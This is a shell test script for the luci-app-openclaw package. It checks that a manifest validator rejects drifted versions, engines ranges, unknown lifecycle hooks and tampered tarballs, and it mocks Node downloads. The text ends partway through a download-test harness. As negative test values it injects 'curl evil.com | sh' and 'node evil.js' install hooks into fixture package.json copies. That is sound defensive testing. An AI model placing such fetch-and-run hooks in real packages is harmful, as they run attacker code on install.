Files
op-packages/luci-app-openclaw/tests/test_openclaw_runtime_contract.sh
T

1592 lines
67 KiB
Bash
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/bin/sh
# ============================================================================
# OpenClaw 运行时与不可变清单契约行为测试
# 覆盖:
# 1. 合法清单通过校验
# 2. 版本/engines/script/依赖漂移拦截 (fail-closed)
# 3. engines.node 严格 semver 边界、前后缀拦截、空/不支持 range 校验
# 4. Helper CLI 退出码契约 (0=成功/帮助, 1=契约不满足, 2=CLI用法/输入格式错误)
# 5. get-vetted-scripts 脚本提取与物理存在性强校验
# 6. 自定义/latest 版本策略 (有 lifecycle 拒绝, 无 lifecycle 标记未验证)
# 7. lifecycle 脚本执行、postinstall 继承 npm_config_ignore_scripts、失败传播
# 8. mock 下载器行为: 备用源继续、最终缺失、错误哈希、错误架构/版本拦截
# 9. npm install / upgrade 参数契约 (--ignore-scripts --omit=optional)
# 10. 两架构 musl 资产名与工作流一致性
# ============================================================================
set -eu
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname "$0")" && pwd)
REPO_ROOT=$(CDPATH= cd -- "$SCRIPT_DIR/.." && pwd)
CONTRACT_JS="$REPO_ROOT/root/usr/share/openclaw/openclaw-package-contract.js"
FIXTURE_PKG="$REPO_ROOT/tests/fixtures/openclaw-2026.9.1-package.json"
ENV_SCRIPT="$REPO_ROOT/root/usr/bin/openclaw-env"
BUILD_SCRIPT="$REPO_ROOT/scripts/build-node-musl.sh"
WORKFLOW="$REPO_ROOT/.github/workflows/build-node-musl.yml"
fail() {
echo "FAIL: $1" >&2
exit 1
}
NODE_BIN=""
for cand in node nodejs /opt/openclaw/node/bin/node; do
if command -v "$cand" >/dev/null 2>&1; then NODE_BIN=$(command -v "$cand"); break; fi
[ -x "$cand" ] && { NODE_BIN="$cand"; break; }
done
[ -n "$NODE_BIN" ] || fail "no node interpreter found"
[ -f "$CONTRACT_JS" ] || fail "missing $CONTRACT_JS"
[ -f "$FIXTURE_PKG" ] || fail "missing $FIXTURE_PKG"
TMP_DIR=$(mktemp -d 2>/dev/null || echo "/tmp/oc-runtime-contract-$$")
mkdir -p "$TMP_DIR"
cleanup() { rm -rf "$TMP_DIR"; }
trap cleanup EXIT
# ── 1. 合法清单校验 ──
"$NODE_BIN" "$CONTRACT_JS" validate-manifest "$FIXTURE_PKG" "2026.9.1" >/dev/null 2>&1 \
|| fail "valid 2026.9.1 package.json should pass validation"
# ── 2. 版本漂移校验 ──
PKG_VER_DRIFT="$TMP_DIR/pkg-ver-drift.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.2";
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_VER_DRIFT"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_VER_DRIFT" "2026.9.1" >/dev/null 2>&1; then
fail "version drift (2026.9.2) must be rejected"
fi
# ── 3. script 漂移校验 ──
PKG_SCRIPT_DRIFT="$TMP_DIR/pkg-script-drift.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.scripts.preinstall = "curl evil.com | sh";
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_SCRIPT_DRIFT"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_SCRIPT_DRIFT" "2026.9.1" >/dev/null 2>&1; then
fail "preinstall script drift must be rejected"
fi
PKG_POST_DRIFT="$TMP_DIR/pkg-post-drift.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.scripts.postinstall = "node evil.mjs";
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_POST_DRIFT"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_POST_DRIFT" "2026.9.1" >/dev/null 2>&1; then
fail "postinstall script drift must be rejected"
fi
# ── 4. sqlite-vec 版本漂移与 optionalDependencies 约束校验 ──
# 仅约束已有证据支持的字段及版本,不限定只能有这一项
PKG_SQLITE_DRIFT="$TMP_DIR/pkg-sqlite-drift.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.optionalDependencies["sqlite-vec"] = "0.2.0";
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_SQLITE_DRIFT"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_SQLITE_DRIFT" "2026.9.1" >/dev/null 2>&1; then
fail "sqlite-vec version drift must be rejected"
fi
# 额外合法 optionalDependency 不应当被错误拒收
PKG_OPT_EXTRA="$TMP_DIR/pkg-opt-extra.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.optionalDependencies["other-optional"] = "1.2.3";
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_OPT_EXTRA"
"$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_OPT_EXTRA" "2026.9.1" >/dev/null 2>&1 \
|| fail "extra optionalDependencies without sqlite-vec drift should be accepted"
# ── 4.1 2026.9.1 关键字段缺失校验 (fail-closed) ──
for mutate in \
'delete p.name' \
'delete p.version' \
'delete p.bin' \
'delete p.bin.openclaw' \
'delete p.scripts' \
'delete p.scripts.preinstall' \
'delete p.scripts.postinstall' \
'delete p.optionalDependencies' \
'delete p.optionalDependencies["sqlite-vec"]' \
'delete p.engines' \
'delete p.engines.node'; do
MUT_FILE="$TMP_DIR/pkg-missing-field.json"
"$NODE_BIN" -e "
const p = JSON.parse(require('fs').readFileSync(process.argv[1], 'utf8'));
$mutate;
require('fs').writeFileSync(process.argv[2], JSON.stringify(p));
" "$FIXTURE_PKG" "$MUT_FILE"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$MUT_FILE" "2026.9.1" >/dev/null 2>&1; then
fail "manifest with missing field ($mutate) must be rejected"
fi
done
# ── 4.2 2026.9.1 关键字段错误类型校验 (fail-closed) ──
for mutate in \
'p.name = 123' \
'p.version = 2026' \
'p.bin = "openclaw.mjs"' \
'p.bin = []' \
'p.bin.openclaw = 123' \
'p.scripts = []' \
'p.scripts.preinstall = 123' \
'p.scripts.postinstall = true' \
'p.optionalDependencies = []' \
'p.optionalDependencies["sqlite-vec"] = 123' \
'p.engines = []' \
'p.engines.node = 22'; do
MUT_FILE="$TMP_DIR/pkg-type-error.json"
"$NODE_BIN" -e "
const p = JSON.parse(require('fs').readFileSync(process.argv[1], 'utf8'));
$mutate;
require('fs').writeFileSync(process.argv[2], JSON.stringify(p));
" "$FIXTURE_PKG" "$MUT_FILE"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$MUT_FILE" "2026.9.1" >/dev/null 2>&1; then
fail "manifest with invalid field type ($mutate) must be rejected"
fi
done
# ── 4.3 2026.9.1 关键字段值漂移与额外/空值 lifecycle 及结构漂移校验 (fail-closed) ──
for mutate in \
'p.name = "openclaw-evil"' \
'p.version = "2026.9.2"' \
'p.bin.openclaw = "other.mjs"' \
'p.bin.extra = "extra.mjs"' \
'p.scripts.install = "curl evil.com | sh"' \
'p.scripts.prepare = "node evil.js"' \
'p.scripts.install = ""' \
'p.scripts.preinstall = ""' \
'p.scripts.postinstall = " "' \
'p.engines.node = ">=22.0.0"' \
'p.engines.node = ">=22.22.3 <23 || >=24.15.0 <25 || >=25.9.0 "'; do
MUT_FILE="$TMP_DIR/pkg-val-drift.json"
"$NODE_BIN" -e "
const p = JSON.parse(require('fs').readFileSync(process.argv[1], 'utf8'));
$mutate;
require('fs').writeFileSync(process.argv[2], JSON.stringify(p));
" "$FIXTURE_PKG" "$MUT_FILE"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$MUT_FILE" "2026.9.1" >/dev/null 2>&1; then
fail "manifest with value drift, structural drift, or extra/empty lifecycle ($mutate) must be rejected"
fi
done
# ── 5. engines.node 范围语义与严格 semver 边界比对校验 ──
# 默认规则取自默认通道已验证版本 (2026.9.36 / 2026.10.9): ">=24.22.1 <25 || >=26.12.1"
# 合法版本
for v in 24.22.2 24.22.1 24.30.0 26.12.1 27.0.0; do
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "$v" >/dev/null 2>&1 || fail "Node $v must be valid"
done
# 非法版本: 低于最低要求或落在空档 (退出码 1)。22.x 是 v2.2.x 的默认 Node,
# 新版 OpenClaw 必须拒绝,迫使升级流程先升级 Node 再升级 OpenClaw。
for v in 22.23.2 22.22.3 24.15.0 24.22.0 25.9.0 26.12.0; do
set +e
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "$v" >/dev/null 2>&1
rc=$?
set -e
[ "$rc" -eq 1 ] || fail "Node $v must exit 1 (contract unsatisfied), got $rc"
done
# 旧版 engines 规则仍可显式传入 (legacy 2026.9.1 回滚校验用)
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "22.23.2" ">=22.22.3 <23 || >=24.15.0 <25 || >=25.9.0" >/dev/null 2>&1 \
|| fail "Node 22.23.2 must satisfy the legacy 2026.9.1 engines spec"
# 非法格式/前后缀 semver (退出码 2)
set +e
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "22.23.2-alpha" >/dev/null 2>&1
RC_PRE=$?
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "22.23.2foo" >/dev/null 2>&1
RC_SUF=$?
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "v22.23.2.1" >/dev/null 2>&1
RC_FOUR=$?
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "22.23" >/dev/null 2>&1
RC_TWO=$?
set -e
[ "$RC_PRE" -eq 2 ] || fail "semver with prerelease suffix must exit 2 (input format error)"
[ "$RC_SUF" -eq 2 ] || fail "semver with trailing suffix must exit 2 (input format error)"
[ "$RC_FOUR" -eq 2 ] || fail "four-segment version must exit 2 (input format error)"
[ "$RC_TWO" -eq 2 ] || fail "two-segment version must exit 2 (input format error)"
# 空或不支持的 range (退出码 2)
set +e
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "22.23.2" " " >/dev/null 2>&1
RC_EMPTY_RANGE=$?
"$NODE_BIN" "$CONTRACT_JS" validate-node-version "22.23.2" "^22.0.0" >/dev/null 2>&1
RC_UNSUPPORTED_RANGE=$?
set -e
[ "$RC_EMPTY_RANGE" -eq 2 ] || fail "empty range must exit 2"
[ "$RC_UNSUPPORTED_RANGE" -eq 2 ] || fail "unsupported range operator must exit 2"
# ── 6. Helper CLI 退出码约定校验 ──
# 0=成功或帮助,1=契约不满足,2=CLI 用法或输入格式错误
set +e
"$NODE_BIN" "$CONTRACT_JS" --help >/dev/null 2>&1
RC_HELP=$?
"$NODE_BIN" "$CONTRACT_JS" >/dev/null 2>&1
RC_NO_CMD=$?
"$NODE_BIN" "$CONTRACT_JS" unknown-subcommand >/dev/null 2>&1
RC_UNK_CMD=$?
"$NODE_BIN" "$CONTRACT_JS" validate-manifest >/dev/null 2>&1
RC_MISSING_ARGS=$?
"$NODE_BIN" "$CONTRACT_JS" validate-manifest "$FIXTURE_PKG" "2026.9.1" "redundant-arg" >/dev/null 2>&1
RC_EXTRA_ARGS=$?
"$NODE_BIN" "$CONTRACT_JS" validate-manifest "$TMP_DIR/non-existent.json" "2026.9.1" >/dev/null 2>&1
RC_NON_EXIST_FILE=$?
set -e
[ "$RC_HELP" -eq 0 ] || fail "--help must exit 0"
[ "$RC_NO_CMD" -eq 2 ] || fail "no command must exit 2"
[ "$RC_UNK_CMD" -eq 2 ] || fail "unknown command must exit 2"
[ "$RC_MISSING_ARGS" -eq 2 ] || fail "missing arguments must exit 2"
[ "$RC_EXTRA_ARGS" -eq 2 ] || fail "extra arguments must exit 2"
[ "$RC_NON_EXIST_FILE" -eq 2 ] || fail "non-existent manifest file must exit 2"
# ── 7. get-vetted-scripts 脚本提取与白名单文件物理存在性强校验 ──
MOCK_INSTALL_PKG_DIR="$TMP_DIR/vetted-scripts-test"
mkdir -p "$MOCK_INSTALL_PKG_DIR/scripts"
cp "$FIXTURE_PKG" "$MOCK_INSTALL_PKG_DIR/package.json"
# 文件尚未建立时必须失败 (退出码 1)
set +e
"$NODE_BIN" "$CONTRACT_JS" get-vetted-scripts "$MOCK_INSTALL_PKG_DIR/package.json" "2026.9.1" >/dev/null 2>&1
RC_MISSING_SCRIPTS=$?
set -e
[ "$RC_MISSING_SCRIPTS" -eq 1 ] || fail "get-vetted-scripts must exit 1 when whitelisted files are missing on disk"
# 建立物理脚本文件后必须通过并正确列出
touch "$MOCK_INSTALL_PKG_DIR/scripts/preinstall-package-manager-warning.mjs"
touch "$MOCK_INSTALL_PKG_DIR/scripts/postinstall-bundled-plugins.mjs"
VETTED_OUT=$("$NODE_BIN" "$CONTRACT_JS" get-vetted-scripts "$MOCK_INSTALL_PKG_DIR/package.json" "2026.9.1")
echo "$VETTED_OUT" | grep -q "scripts/preinstall-package-manager-warning.mjs" || fail "missing preinstall script in get-vetted-scripts output"
echo "$VETTED_OUT" | grep -q "scripts/postinstall-bundled-plugins.mjs" || fail "missing postinstall script in get-vetted-scripts output"
# ── 8. 自定义/latest 版本策略: 拒绝未知 lifecycle,标记未验证 ──
PKG_CUSTOM_WITH_LIFECYCLE="$TMP_DIR/pkg-custom-lifecycle.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.9";
p.scripts = { preinstall: "node some-script.js" };
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_CUSTOM_WITH_LIFECYCLE"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_WITH_LIFECYCLE" "2026.9.9" >/dev/null 2>&1; then
fail "custom version with unknown lifecycle script must be rejected (fail-closed)"
fi
PKG_CUSTOM_NO_LIFECYCLE="$TMP_DIR/pkg-custom-no-lifecycle.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.9";
p.scripts = {};
p.engines = { node: ">=" + process.versions.node };
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_CUSTOM_NO_LIFECYCLE"
# 默认 (未显式允许) 必须拒绝不在兼容矩阵中的版本: 「上游已发布」不等于「本插件已验证」
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_NO_LIFECYCLE" "2026.9.9" >/dev/null 2>&1; then
fail "unverified version must be rejected unless OC_ALLOW_UNVERIFIED=1"
fi
# 以下用例模拟用户在界面勾选「允许安装未验证版本」
OC_ALLOW_UNVERIFIED=1
export OC_ALLOW_UNVERIFIED
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_WITH_LIFECYCLE" "2026.9.9" >/dev/null 2>&1; then
fail "unverified version with unknown lifecycle script must be rejected even when allowed"
fi
CUSTOM_VAL_OUT=$("$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_NO_LIFECYCLE" "2026.9.9" 2>&1)
echo "$CUSTOM_VAL_OUT" | grep -Eq "未(经本插件)?验证" || fail "custom version without lifecycle must be explicitly marked unverified"
# 8.0 自定义/latest 版本包含常规 scripts (如 test, start, prepush, build) 但不含 npm 安装期 lifecycle 时必须正常放行 (标记未验证)
PKG_CUSTOM_WITH_REGULAR_SCRIPTS="$TMP_DIR/pkg-custom-regular-scripts.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.9";
p.scripts = {
test: "jest",
start: "node dist/index.js",
prepush: "npm run lint",
build: "vite build"
};
p.engines = { node: ">=" + process.versions.node };
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_CUSTOM_WITH_REGULAR_SCRIPTS"
REGULAR_VAL_OUT=$("$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_WITH_REGULAR_SCRIPTS" "2026.9.9" 2>&1) \
|| fail "custom version with regular scripts (test, start, prepush) should be allowed"
echo "$REGULAR_VAL_OUT" | grep -Eq "未(经本插件)?验证" || fail "custom version with regular scripts must be marked unverified"
# 8.0.1 真实 npm 安装期钩子 (如 prepare, prepack, postpack, install) 在自定义/latest 版本中必须被拦截 (fail-closed)
for hook in prepare prepack postpack install; do
PKG_HOOK_TEST="$TMP_DIR/pkg-hook-${hook}.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.9";
p.scripts = {};
p.scripts[process.argv[3]] = "echo hook";
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_HOOK_TEST" "$hook"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_HOOK_TEST" "2026.9.9" >/dev/null 2>&1; then
fail "custom version with lifecycle hook $hook must be rejected (fail-closed)"
fi
done
# 8.1 自定义/latest 版本 engines.node 与当前运行时不兼容时必须拒绝 (fail-closed)
PKG_CUSTOM_INCOMPAT_ENGINES="$TMP_DIR/pkg-custom-incompat-engines.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.9";
p.scripts = {};
p.engines = { node: ">=99.0.0" };
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_CUSTOM_INCOMPAT_ENGINES"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_INCOMPAT_ENGINES" "2026.9.9" >/dev/null 2>&1; then
fail "custom version with incompatible engines.node must be rejected (fail-closed)"
fi
# 8.2 自定义/latest 版本 engines.node 语法非法时必须拒绝
PKG_CUSTOM_BAD_ENGINES="$TMP_DIR/pkg-custom-bad-engines.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.9";
p.scripts = {};
p.engines = { node: "^^22.0.0" };
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_CUSTOM_BAD_ENGINES"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_BAD_ENGINES" "2026.9.9" >/dev/null 2>&1; then
fail "custom version with invalid engines.node syntax must be rejected"
fi
# 8.3 自定义/latest 版本含空值 lifecycle 时必须拒绝 (fail-closed)
PKG_CUSTOM_EMPTY_LIFECYCLE="$TMP_DIR/pkg-custom-empty-lifecycle.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.9";
p.scripts = { preinstall: "" };
p.engines = { node: ">=" + process.versions.node };
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_CUSTOM_EMPTY_LIFECYCLE"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_EMPTY_LIFECYCLE" "2026.9.9" >/dev/null 2>&1; then
fail "custom version with empty lifecycle script must be rejected (fail-closed)"
fi
# 8.4 自定义版本实际版本与目标版本不一致时必须拒绝 (fail-closed)
PKG_CUSTOM_VER_MISMATCH="$TMP_DIR/pkg-custom-ver-mismatch.json"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.8";
p.scripts = {};
p.engines = { node: ">=" + process.versions.node };
require("fs").writeFileSync(process.argv[2], JSON.stringify(p));
' "$FIXTURE_PKG" "$PKG_CUSTOM_VER_MISMATCH"
if "$NODE_BIN" "$CONTRACT_JS" validate-manifest "$PKG_CUSTOM_VER_MISMATCH" "2026.9.9" >/dev/null 2>&1; then
fail "custom version with version mismatch must be rejected (fail-closed)"
fi
unset OC_ALLOW_UNVERIFIED
# ── 8.1 发布通道/锁定版本解析与 tarball integrity (fixture 矩阵,与真实版本号解耦) ──
FIX_COMPAT="$TMP_DIR/compat-fixture.json"
FIX_TGZ="$TMP_DIR/fixture-pkg.tgz"
echo "fixture tarball payload" > "$FIX_TGZ"
"$NODE_BIN" -e '
const fs = require("fs");
const crypto = require("crypto");
const integ = "sha512-" + crypto.createHash("sha512").update(fs.readFileSync(process.argv[1])).digest("base64");
const base = JSON.parse(fs.readFileSync(process.argv[3], "utf8"));
const v = (channel) => ({ channel, engines: ">=24.22.1 <25", integrity: integ, unpackedSize: 1, sqliteVec: base.versions[Object.keys(base.versions)[0]].sqliteVec, verification: {} });
fs.writeFileSync(process.argv[2], JSON.stringify({
schema: 1, node: base.node, lifecycle: base.lifecycle, defaultChannel: "extended-stable",
channels: { "extended-stable": { verified: "2030.1.5" }, latest: { verified: "2030.2.3" } },
versions: { "2030.1.5": v("extended-stable"), "2030.2.3": v("latest"), "2029.12.1": v("legacy") }
}));
' "$FIX_TGZ" "$FIX_COMPAT" "$REPO_ROOT/root/usr/share/openclaw/openclaw-compat.json"
rt() { OC_COMPAT_FILE="$FIX_COMPAT" "$NODE_BIN" "$CONTRACT_JS" resolve-target "$@" 2>/dev/null; }
expect_rt() {
_want="$1"; shift
_got=$(rt "$@") || fail "resolve-target $* should succeed"
[ "$_got" = "$_want" ] || fail "resolve-target $*: expected '$_want', got '$_got'"
}
expect_rt_reject() {
if rt "$@" >/dev/null; then fail "resolve-target $* must be rejected"; fi
}
# 默认 / stable 别名 → 默认通道的已验证版本
expect_rt "2030.1.5 extended-stable verified same -"
expect_rt "2030.1.5 extended-stable verified same -" --channel stable
expect_rt "2030.2.3 latest verified same -" --channel latest
# 上游有更新但未验证: 默认仍装已验证版本,只提示 newer
expect_rt "2030.2.3 latest verified newer 2030.2.9" --channel latest --upstream 2030.2.9
# 用户显式允许后才安装上游最新
expect_rt "2030.2.9 latest unverified newer 2030.2.9" --channel latest --upstream 2030.2.9 --allow-unverified
# 上游更旧 (镜像滞后) 不得降级
expect_rt "2030.2.3 latest verified same 2030.2.1" --channel latest --upstream 2030.2.1 --allow-unverified
# 锁定版本: 矩阵内直接放行 (含 legacy 回滚目标),矩阵外须显式允许
expect_rt "2029.12.1 legacy verified same -" --pin 2029.12.1
expect_rt "2030.1.5 extended-stable verified same -" --pin v2030.1.5
expect_rt_reject --pin 2030.3.1
expect_rt "2030.3.1 pinned unverified same -" --pin 2030.3.1 --allow-unverified
# 锁定优先于通道
expect_rt "2029.12.1 legacy verified same -" --channel latest --pin 2029.12.1
# 非法输入失败关闭
expect_rt_reject --pin bad
expect_rt_reject --pin 2030.1.5-beta.1 --allow-unverified
expect_rt_reject --channel nightly
# 矩阵缺失时失败关闭
if OC_COMPAT_FILE="$TMP_DIR/missing-compat.json" "$NODE_BIN" "$CONTRACT_JS" resolve-target >/dev/null 2>&1; then
fail "resolve-target must fail closed when the compat matrix is missing"
fi
vi_rc() { set +e; OC_COMPAT_FILE="$FIX_COMPAT" "$NODE_BIN" "$CONTRACT_JS" validate-integrity "$@" >/dev/null 2>&1; _rc=$?; set -e; echo "$_rc"; }
[ "$(vi_rc "$FIX_TGZ" 2030.1.5)" -eq 0 ] || fail "tarball matching the matrix integrity must pass"
echo "tampered" > "$TMP_DIR/tampered.tgz"
[ "$(vi_rc "$TMP_DIR/tampered.tgz" 2030.1.5)" -eq 1 ] || fail "tarball with a different sha512 must be rejected (tampered mirror)"
[ "$(vi_rc "$TMP_DIR/tampered.tgz" 2030.3.1)" -eq 0 ] || fail "unverified version has no matrix integrity and must defer to npm"
[ "$(vi_rc "$TMP_DIR/absent.tgz" 2030.1.5)" -eq 2 ] || fail "missing tarball must be a usage error (exit 2)"
# ── 9. lifecycle 失败传播与 postinstall 环境变量行为校验 ──
MOCK_LIFECYCLE_DIR="$TMP_DIR/mock-lifecycle"
mkdir -p "$MOCK_LIFECYCLE_DIR/scripts"
cp "$FIXTURE_PKG" "$MOCK_LIFECYCLE_DIR/package.json"
# 写入 preinstall 失败脚本
cat > "$MOCK_LIFECYCLE_DIR/scripts/preinstall-package-manager-warning.mjs" <<'EOF'
process.exit(42);
EOF
cat > "$MOCK_LIFECYCLE_DIR/scripts/postinstall-bundled-plugins.mjs" <<'EOF'
process.exit(0);
EOF
HARNESS_LIFECYCLE="$TMP_DIR/test-lifecycle.sh"
cat > "$HARNESS_LIFECYCLE" <<EOF
NODE_BIN="$NODE_BIN"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
log_info() { :; }
log_warn() { :; }
log_error() { :; }
EOF
awk '/^execute_openclaw_lifecycle\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_LIFECYCLE"
cat >> "$HARNESS_LIFECYCLE" <<EOF
execute_openclaw_lifecycle "$MOCK_LIFECYCLE_DIR" "2026.9.1"
EOF
set +e
sh "$HARNESS_LIFECYCLE" >/dev/null 2>&1
RC_PRE_FAIL=$?
set -e
[ "$RC_PRE_FAIL" -ne 0 ] || fail "preinstall script failure must propagate non-zero exit code"
# 测试 postinstall 失败传播并验证 npm_config_ignore_scripts 继承
cat > "$MOCK_LIFECYCLE_DIR/scripts/preinstall-package-manager-warning.mjs" <<'EOF'
process.exit(0);
EOF
cat > "$MOCK_LIFECYCLE_DIR/scripts/postinstall-bundled-plugins.mjs" <<'EOF'
if (process.env.npm_config_ignore_scripts !== "true") {
process.exit(99);
}
process.exit(43);
EOF
set +e
sh "$HARNESS_LIFECYCLE" >/dev/null 2>&1
RC_POST_FAIL=$?
set -e
[ "$RC_POST_FAIL" -ne 0 ] || fail "postinstall script failure must propagate non-zero exit code"
# 测试成功执行与 npm_config_ignore_scripts 环境变量确认
cat > "$MOCK_LIFECYCLE_DIR/scripts/postinstall-bundled-plugins.mjs" <<'EOF'
if (process.env.npm_config_ignore_scripts !== "true") {
process.exit(99);
}
process.exit(0);
EOF
sh "$HARNESS_LIFECYCLE" >/dev/null 2>&1 || fail "postinstall with npm_config_ignore_scripts=true must succeed"
# ── 10. mock 下载器行为测试 (备用源继续、最终缺失、错误哈希、错误架构/版本) ──
MOCK_TEST_ROOT="$TMP_DIR/mock-downloader-test"
mkdir -p "$MOCK_TEST_ROOT/bin"
MOCK_ENV_DIR="$MOCK_TEST_ROOT/env"
mkdir -p "$MOCK_ENV_DIR"
# 制作合法的模拟 tarball (>5MB 以通过压缩包完整性门禁)
MOCK_ARCH="linux-x64"
MOCK_VER="22.23.2"
MOCK_PKG_NAME="node-v${MOCK_VER}-${MOCK_ARCH}-musl"
MOCK_BUILD_DIR="$MOCK_TEST_ROOT/build/${MOCK_PKG_NAME}"
mkdir -p "${MOCK_BUILD_DIR}/bin" "${MOCK_BUILD_DIR}/share/icu"
cat > "${MOCK_BUILD_DIR}/bin/node" <<'EOF'
#!/bin/sh
case "$1" in
--version) echo "v22.23.2" ;;
-p)
if [ "$2" = "process.arch" ]; then echo "x64"; else echo ""; fi
;;
-e)
exit 0
;;
*)
exec node "$@"
;;
esac
EOF
chmod +x "${MOCK_BUILD_DIR}/bin/node"
dd if=/dev/urandom of="${MOCK_BUILD_DIR}/share/icu/dummy.dat" bs=1024 count=5100 2>/dev/null
(cd "$MOCK_TEST_ROOT/build" && tar -cf - "${MOCK_PKG_NAME}" | xz > "$MOCK_TEST_ROOT/valid-node.tar.xz")
VALID_HASH=$("$NODE_BIN" -e 'console.log(require("crypto").createHash("sha256").update(require("fs").readFileSync(process.argv[1])).digest("hex"))' "$MOCK_TEST_ROOT/valid-node.tar.xz")
# (10.1) 备用源继续测试: 主源 404,备用源返回有效 tarball 及 sha256 成功完成
MOCK_CURL_FAILOVER="$MOCK_TEST_ROOT/bin/curl"
cat > "$MOCK_CURL_FAILOVER" <<EOF
#!/bin/sh
outfile=""
url=""
while [ \$# -gt 0 ]; do
case "\$1" in
-o|-O) outfile="\$2"; shift 2 ;;
http://*|https://*) url="\$1"; shift 1 ;;
*) shift 1 ;;
esac
done
case "\$url" in
*unofficial-builds*)
exit 22
;;
*npmmirror*SHASUMS256.txt*)
echo "${VALID_HASH} ${MOCK_PKG_NAME}.tar.xz" > "\$outfile"
exit 0
;;
*npmmirror*)
cp "$MOCK_TEST_ROOT/valid-node.tar.xz" "\$outfile"
exit 0
;;
*)
exit 1
;;
esac
EOF
chmod +x "$MOCK_CURL_FAILOVER"
ln -sf "$MOCK_CURL_FAILOVER" "$MOCK_TEST_ROOT/bin/wget"
HARNESS_DOWNLOADER="$MOCK_TEST_ROOT/test-download.sh"
cat > "$HARNESS_DOWNLOADER" <<EOF
#!/bin/sh
set -e
export PATH="$MOCK_TEST_ROOT/bin:\$PATH"
OC_BASE_PATH="$MOCK_ENV_DIR"
NODE_BASE="$MOCK_ENV_DIR/node"
NODE_BIN="\$NODE_BASE/bin/node"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
OC_NODE_MIN_VERSION="22.22.3"
log_info() { :; }
log_warn() { :; }
log_error() { :; }
ensure_mkdir() { mkdir -p "\$1"; }
detect_libc() { echo "musl"; }
detect_arch() { echo "linux-x64"; }
NODE_MUSL_MIRROR="https://unofficial-builds.nodejs.org/download/release"
NODE_MIRROR_CN="https://npmmirror.com/mirrors/node"
NODE_SELF_HOST="https://github.com/10000ge10000/luci-app-openclaw/releases/download/node-bins"
find_oc_entry() { echo ""; }
assert_node_runtime() { :; }
EOF
awk '/^oc_sum256\(\)/,/^download_node\(\)/' "$ENV_SCRIPT" | sed '$d' >> "$HARNESS_DOWNLOADER"
